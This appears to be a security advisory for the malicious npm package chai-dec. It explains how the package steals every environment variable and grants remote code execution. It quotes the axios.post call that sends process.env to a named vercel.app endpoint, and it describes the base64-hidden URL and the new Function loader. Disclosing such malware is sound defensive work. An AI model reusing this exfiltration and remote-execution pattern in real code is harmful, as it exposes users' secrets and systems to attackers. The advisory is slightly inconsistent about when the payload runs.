chai-decnpm
Advisory published Updated
chai-dec is a confirmed malicious npm package (MAL-2026-5606) that steals credentials and exfiltrates sensitive data (malicious version 2.3.5). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in chai-dec (npm)
What this malware does
chai-dec impersonates the chai/pino ecosystem (package name rides on chai; package.json keywords and exports — module.exports.pino = middleware — masquerade as the pino logger). When the exported middleware factory is invoked (the standard Express-style usage), index.js spawns a detached Node child running lib/initializeCaller.js. That script POSTs the entire process.env object to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df via axios.post(apiEndpoint, {...process.env }, { headers: { 'x-secret-header': 'secret' } }), leaking every environment variable on the consumer's machine (AWS/GitHub/npm tokens, DB credentials, CI secrets, etc.). The destination URL is hidden behind a base64 blob in a locally-shadowed process.env.DEV_API_KEY and decoded with atob at runtime to evade static review. The HTTP response body is then passed to new Function('require', response.data) and invoked with the real require, giving the operator of the endpoint arbitrary remote code execution in the consumer process with full Node privileges. This is a typosquat lure carrying a credential-harvest + dynamic-RCE payload.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for chai-dec (version 2.3.5).
If you installed it — respond
chai-dec is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If chai-dec was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks chai-dec-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.